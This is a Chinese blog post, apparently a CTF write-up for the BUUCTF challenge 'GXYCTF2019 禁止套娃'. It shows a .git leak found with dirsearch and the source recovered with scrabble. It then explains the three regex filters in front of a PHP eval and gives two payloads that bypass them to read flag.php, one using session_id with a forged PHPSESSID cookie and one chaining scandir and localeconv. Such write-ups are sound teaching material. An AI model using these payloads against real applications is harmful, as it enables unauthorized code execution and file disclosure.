当前位置:网站首页>BUUCTF WEB [GXYCTF2019]禁止套娃
BUUCTF WEB [GXYCTF2019]禁止套娃
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019]禁止套娃
-
没有任何提示,使用dirsearch扫描
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......扫描到很多有关.git文件夹的路径,怀疑是.git泄露
-
使用scrabble扫描
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init扫描到了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?> -
第一层过滤
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))过滤了一些PHP伪协议
-
第二层过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这里的
(?R)表示引用当前的表达式,(?R)?表示可以有零次或一次引用,可以匹配print(echo(1))等由字符和括号嵌套组成的字符串
-
第三层过滤
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))过滤了一些关键字
方法1 session_id
?exp=highlight_file(session_id(session_start()));
同时抓包在Cookie中设置PHPSESSID
PHPSESSID=flag.php
方法2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())会返回.,然后使用scandir()函数扫描当前文件夹
localeconv()函数会返回包含本地数字及货币格式信息的数组,这个数组的第一个元素是.
current()函数返回数组中的当前元素的值,每个数组的初始指针都指向数组的第一个元素
array_reverse()函数以相反的顺序返回数组
next()函数将内部指针指向数组中的下一个元素并输出
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124349048
边栏推荐
- Message queuing overview
- How much does software testing help reduce program bugs?
- 第二十四课 经典问题解析
- Qt重绘事件与剪切
- 解锁OpenHarmony技术日!年度盛会,即将揭幕!
- 外包干了五年,废了...
- The maximum number of remote desktop servers has been exceeded
- XinChaCha Trust SSL Organization Validated
- uni-app 原生APP-本地打包集成极光推送(JG-JPUSH)详细教程
- Windows11 安装MySQL服务 提示:Install/Remove of the Service Denied
猜你喜欢

Zigbee之CC2530最小系统及寄存器配置(1)

天梯赛赛前练习

论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》

How to expand the capacity of the server in the 100 million level traffic architecture? Well written!

万事有你 未来可期 | ONES 2022校园招聘正式开启

Metalama简介4.使用Fabric操作项目或命名空间
![A detailed explanation of head pose estimation [collection of good articles]](/img/59/6ac8692b0dbd0218bb512c5eac3124.png)
A detailed explanation of head pose estimation [collection of good articles]

九十八、freemarker框架报错 s.e.ErrorMvcAutoConfiguration$StaticView : Cannot render error page for request

Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?

程序员如何用130行代码敲定核酸统计
随机推荐
Interpretation 3 of gdpr series: how do European subsidiaries return data to domestic parent companies?
一个平面设计师的异想世界|ONES 人物
在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
Recommended programming AIDS: picture tool snipaste
如何防止网站被黑客入侵篡改
QT interprocess communication
Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
如果你是一个Golang面试官,你会问哪些问题?
Relu function of activation function
SPSS之单因素方差分析
Tips for installing MySQL service in windows11: Install / Remove of the Service denied
Number of nodes of complete binary tree
Idea database navigator plug-in
Idea code quality specification plug-in sonarlint
Fabric 1.0 source code analysis (33) implementation of peer channel command and subcommand
XinChaCha Trust SSL Organization Validated
What is a gateway
IDEA设置版权信息
远程桌面之终端服务器超出了最大允许连接数解决
Basic software testing Day2 - Case Execution